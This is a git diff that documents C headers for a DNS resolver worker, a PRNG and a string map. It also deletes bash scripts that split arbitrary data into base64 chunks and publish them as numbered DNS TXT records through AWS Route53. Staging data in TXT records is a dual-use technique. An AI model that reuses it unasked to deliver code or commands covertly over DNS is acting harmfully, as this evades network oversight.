PRNE_RESOLV_RCODE_FORMERR 1 // Format error +#define PRNE_RESOLV_RCODE_SERVFAIL 2 // Server failure +#define PRNE_RESOLV_RCODE_NXDOMAIN 3 // Name Error +#define PRNE_RESOLV_RCODE_NOTIMP 4 // Not Implemented +#define PRNE_RESOLV_RCODE_REFUSED 5 // Refused +// The DNS record types as per RFC 1035 3.2.2 and RFC 3596 +#define PRNE_RESOLV_RTYPE_A 1 // A host address +#define PRNE_RESOLV_RTYPE_NS 2 // An authoritive name server +#define PRNE_RESOLV_RTYPE_CNAME 5 // The canonical name for an alias +// Marks the start of a zone of authority +#define PRNE_RESOLV_RTYPE_SOA 6 +#define PRNE_RESOLV_RTYPE_PTR 12 // A domain name pointer +#define PRNE_RESOLV_RTYPE_MX 15 // Mail exchange +#define PRNE_RESOLV_RTYPE_TXT 16 // text strings +#define PRNE_RESOLV_RTYPE_AAAA 28 // A host address (IPv6) +/** + * \brief Allocate resources and start an instance of the resolv worker + * \param wkr The initialised worker object + * \param ctr_drbg The CTR DRBG object for SSL connections. The object has to be + * valid until the worker is freed. + * \param pool_v4 The IPv4 name server pool + * \param pool_v6 The IPv6 name server pool + * \return A handle to the instasnce + * \retval NULL with \c errno set to \c EINVAL if \p wkr or \p ctr_drbg is + * passed NULL, or one of the name server pools is empty + * \retval NULL with \c errno set to \c ENOMEM on memory allocation error + */ prne_resolv_t *prne_alloc_resolv ( prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6); +/** + * \brief Queue A or AAAA query + * \param ctx The worker handle + * \param name The domain name of the host + * \param ipv The Internet Protocol version. \c PRNE_IPV_4 for A and + * \c PRNE_IPV_6 for AAAA. + * \param cv The condition variable for result notification. The objects must be + * valid until \p out is freed (optional) + * \param out The poiner to an instance of the query operation promise object + * \retval true on success + * \retval false with \c errno set to \c ECANCELED if the worker is finalising + * \retval false with \c errno set to \c ENOMEM on memory allocation error + * \note \p out is freed using \c prne_resolv_free_prm() before being set up by + * the function. Therefore, the object has to be initialised using + * \c prne_resolv_init_prm() + */ bool prne_resolv_prm_gethostbyname ( prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out); +/** + * \brief Queue TXT query + * \param ctx The worker handle + * \param name The domain name of the host + * \param cv The condition variable for result notification. The objects must be + * valid until \p out is freed (optional) + * \param out The poiner to an instance of the query operation promise object + * \retval true on success + * \retval false with \c errno set to \c ECANCELED if the worker is finalising + * \retval false with \c errno set to \c ENOMEM on memory allocation error + * \note \p out is freed using \c prne_resolv_free_prm() before being set up by + * the function. Therefore, the object has to be initialised using + * \c prne_resolv_init_prm() + */ bool prne_resolv_prm_gettxtrec ( prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out); +/** + * \brief Initialise the name server pool object + * \note Initialises the members of \p pool to initial values. Prepares \p pool + * so that it can be freed using \c prne_resolv_free_ns_pool() + */ void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool); +/** + * \brief Free the resources allocated for the name server pool object + * \param pool The pointer to the object that has been initialised using + * \c prne_resolv_init_ns_pool() + */ void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool); +/** + * \brief Allocate memory for the name server pool object + * \param pool The pointer to the object + * \param cnt The new number of elements + * \return true on successful allocation + * \return false on failure and \c errno set to \c ENOMEM + */ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt); +/** + * \brief Make a shallow copy of the name server pool object with the specified + * ownership flag. This is a convenience function for making shallow copy of + * the object that is shared with the multiple instances of the resolv worker + * \param pool The source object + * \param ownership The ownership flag of the new copy + * \return The new shallow copy + */ prne_resolv_ns_pool_t prne_resolv_own_ns_pool( const prne_resolv_ns_pool_t *pool, const bool ownership); +/** + * \brief Initialise the query operation promise object + * \note Initialises the members of \p prm to initial values. Prepares \p prm so + * that it can be freed using \c prne_resolv_free_prm() + */ void prne_resolv_init_prm (prne_resolv_prm_t *prm); +/** + * \brief Free the resources allocated for the query operation promise object + * \param prm The pointer to the object that has been initialised using + * \c prne_resolv_init_prm() + */ void prne_resolv_free_prm (prne_resolv_prm_t *prm); +/** + * \brief Initialise the query operation future object + * \note Initialises the members of \p fut to initial values. Prepares \p fut so + * that it can be freed using \c prne_free_resolv_fut() + */ void prne_init_resolv_fut (prne_resolv_fut_t *fut); +/** + * \brief Free the resources allocated for the query operation future object + * \param fut The pointer to the object that has been initialised using + * \c prne_init_resolv_fut() + */ void prne_free_resolv_fut (prne_resolv_fut_t *fut); +/** + * \brief Initialise the query resource record + * \note Initialises the members of \p rr to initial values. Prepares \p rr so + * that it can be freed using \c prne_free_resolv_rr() + */ void prne_init_resolv_rr (prne_resolv_rr_t *rr); +/** + * \brief Free the resources allocated for the query resource record + * \param rr The pointer to the object that has been initialised using + * \c prne_init_resolv_rr() + */ void prne_free_resolv_rr (prne_resolv_rr_t *rr); + +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p qr is out of bounds and \c errno set to \c EINVAL + */ const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p rc is out of bounds and \c errno set to \c EINVAL + */ const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p rrt is out of bounds and \c errno set to \c EINVAL + */ const char *prne_resolv_rrtype_tostr (const uint16_t rrt); diff --git a/src/rnd.h b/src/rnd.h index 632eab3..b414081 100644 --- a/src/rnd.h +++ b/src/rnd.h @@ -1,3 +1,6 @@ +/** \file + * \brief The pseudorandom number generator interface + */ /* * Copyright (c) 2019-2021 David Timber * @@ -24,24 +27,56 @@ #include #include +/** + * \brief The fixed byte length of the seed data for WELL512 + */ #define PRNE_RND_WELL512_SEEDLEN 64 +/** + * \brief The PRNG engine object + */ struct prne_rnd { - void *ctx; - void (*free_ctx_f)(void*); + void *ctx; // The opaque context + void (*free_ctx_f)(void*); // The function for freeing the opaque context + // The generator function bool (*random)(void*, uint8_t *buf, size_t len); }; +/* Aliases and forward declarations */ typedef struct prne_rnd prne_rnd_t; +/** + * \brief Initialise the PRNG engine object + * \note Initialises the members of \p p to initial values. Prepares \p p so + * that it can be freed using \c prne_free_rnd() + */ void prne_init_rnd (prne_rnd_t *p); +/** + * \brief Free the resources allocated for the PRNG engine object + * \param p The pointer to the object that has been initialised using + * \c prne_init_rnd() + */ void prne_free_rnd (prne_rnd_t *p); +/** + * \brief Generate random numbers using the engine + * \param p The pointer to the engine object + * \param[out] buf The buffer for random number output + * \param len The requested byte length of random numbers + * \retval true on success + * \retval false on failure. The underlying engine may set \c errno to describe + * the nature of the error + */ bool prne_rnd (prne_rnd_t *p, uint8_t *buf, const size_t len); -/* -* is_len should be 64 bytes(512 bits). -*/ +/** + * \brief Allocate resources to set up the object as an instance of the WELL512 + * PRNG engine + * \param p The poiner to the object + * \param is The seed data. Must be 64 bytes(512 bits) or more + * \retval true on success + * \retval false on memory allocation failure, \c errno set to \c ENOMEM + */ bool prne_rnd_alloc_well512 ( prne_rnd_t *p, const uint8_t *is); diff --git a/src/strmap.h b/src/strmap.h index 3ffacbd..74a6956 100644 --- a/src/strmap.h +++ b/src/strmap.h @@ -1,3 +1,7 @@ +/** \file + * \brief The string map implementation + * \note The C equivalent of \c std::map + */ /* * Copyright (c) 2019-2021 David Timber * @@ -25,29 +29,76 @@ #include +/* Aliases and forward declarations */ typedef struct prne_strmap prne_strmap_t; typedef struct prne_strmap_tuple prne_strmap_tuple_t; typedef uintptr_t prne_strmap_val_t; +// The string map object struct prne_strmap { - prne_strmap_tuple_t *tbl; - size_t size; + prne_strmap_tuple_t *tbl; // The table array sorted in ascending order + size_t size; // The number of elements in the table }; +// The tuple object struct prne_strmap_tuple { const char *key; prne_strmap_val_t val; }; +/** + * \brief Initialise the string map object + * \note Initialises the members of \p map to initial values. Prepares \p map so + * that it can be freed using \c prne_free_strmap() + */ void prne_init_strmap (prne_strmap_t *map); +/** + * \brief Free the resources allocated for the string map object + * \param map The pointer to the object that has been initialised using + * \c prne_init_strmap() + */ void prne_free_strmap (prne_strmap_t *map); +/** + * \brief Clear the elements of the string map object. + * \param s The pointer to the string map object. + * \warning The function call may have the exact same effect as + * \c prne_free_strmap() but \c prne_free_strmap() must always be used to free + * the resources allocated for the object. + */ void prne_strmap_clear (prne_strmap_t *map); +/** + * \brief Insert a tuple into the string map object. + * \param im The pointer to the string map object. + * \param key The key of the new tuple. + * \param val The value of the new tuple. + * \return The pointer to the new tuple allocated in the map. The pointer is + * valid as long as the map object remains unmodified. + * \retval NULL if memory allocation error has occurred and \c errno is set to + * \c ENOMEM + * \note Calling the function invalidates the pointers previously returned by + * other functions. + */ const prne_strmap_tuple_t *prne_strmap_insert ( prne_strmap_t *map, const char* key, const prne_strmap_val_t val); +/** + * \brief Erase the tuple with the \p key from the string map object. + * \param im The pointer to the string map object. + * \param key The key of the tuple to erase. + * \note Calling the function invalidates the pointers previously returned by + * other functions. + */ void prne_strmap_erase (prne_strmap_t *map, const char* key); +/** + * \brief Look up the tuple with \p key in the string map object. + * \param im The pointer to the string map object. + * \param key The key to look for. + * \return The pointer to the tuple in the map. The pointer is valid as long as + * the map object remains unmodified. + * \retval NULL if the tuple with \p key is not found. + */ const prne_strmap_tuple_t *prne_strmap_lookup ( prne_strmap_t *map, const char* key); diff --git a/src/txtrec-del.sh b/src/txtrec-del.sh deleted file mode 100755 index 72bc2d7..0000000 --- a/src/txtrec-del.sh +++ /dev/null @@ -1,85 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2019-2021 David Timber -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -ARR_HOOKS=" - aws -" - -if [ $# -lt 2 ]; then - echo "Usage: $0 -Hooks:" >&2 - for h in $ARR_HOOKS; do - echo -e "\t$h" - done - - exit 2 -fi - -HEAD_REC="$1" -HOOK="$2" -ZONE_ID="$3" - -aws_param () { - cat << EOF -{ - "Changes": [ - { - "Action": "DELETE", - "ResourceRecordSet": $1 - } - ] -} -EOF -} - -hook_aws () { - local tmpfile=`mktemp --tmpdir txtrec-del.XXXXXXXXXX` - - aws route53 list-resource-record-sets\ - --hosted-zone-id "$ZONE_ID" > "$tmpfile" - local nb_rec=`jq ".ResourceRecordSets | length" "$tmpfile"` - local escaped_name=$(echo "$HEAD_REC" | sed -e s/\\./\\\\./g) - - for (( i = 0; i < nb_rec; i += 1 )); do - local rec=$(jq ".ResourceRecordSets[$i]" "$tmpfile") - jq ".ResourceRecordSets[$i].Name" "$tmpfile" | - egrep -i "\"([0-9a-f]+\.)?$escaped_name\.?\"" - if [ $? -eq 0 ]; then - aws route53 change-resource-record-sets\ - --hosted-zone-id "$ZONE_ID"\ - --change-batch "$(aws_param "$rec")" - fi - done - - rm -f "$tmpfile" -} - -"hook_$HOOK" "$HEAD_REC" - -i=0 -while true; do - "hook_$HOOK" $i."$HEAD_REC" - if [ $? -ne 0 ]; then - break - fi - let i=i+1 -done diff --git a/src/txtrec-enc.sh b/src/txtrec-enc.sh deleted file mode 100755 index 6d5f8e7..0000000 --- a/src/txtrec-enc.sh +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2019-2021 David Timber -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -if [ $# -lt 1 ]; then - echo "Usage: $0 " >&2 - exit 2 -fi - -set -e -cnt=0 -while true; do - rec="$(dd bs=189 count=1 status=none | base64 -w0)" - if [ -z "$rec" ]; then - break - fi - - printf "%08X%s %s\n" $cnt "$1" "$rec" - let "cnt += 1" -done - -printf "\n%08x%s\n" $cnt "$1" diff --git a/src/txtrec-set.sh b/src/txtrec-set.sh deleted file mode 100755 index 573b097..0000000 --- a/src/txtrec-set.sh +++ /dev/null @@ -1,82 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2019-2021 David Timber -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -set -e - -ARR_HOOKS=" - aws -" - -if [ $# -lt 2 ]; then - echo "Usage: $0 [TTL] -Hooks:" >&2 - for h in $ARR_HOOKS; do - echo -e "\t$h" - done - - exit 2 -fi - -HEAD_REC="$1" -HOOK="$2" -ZONE_ID="$3" -if [ -z "$4" ]; then - TTL=3600 -else - TTL="$4" -fi - -aws_param () { - cat << EOF -{ - "Changes": [ - { - "Action": "UPSERT", - "ResourceRecordSet": { - "Name": "$1", - "Type": "TXT", - "TTL": $TTL, - "ResourceRecords": [ - { "Value": "\"$2\"" } - ] - } - } - ] -} -EOF -} - -hook_aws () { - aws route53 change-resource-record-sets\ - --hosted-zone-id "$ZONE_ID"\ - --change-batch "$(aws_param "$1" "$2")" -} - -while read line; do - if [ -z "$line" ]; then - break; - fi - "hook_$HOOK" $line -done - -read line -"hook_$HOOK" "$HEAD_REC" "$line" -- cgit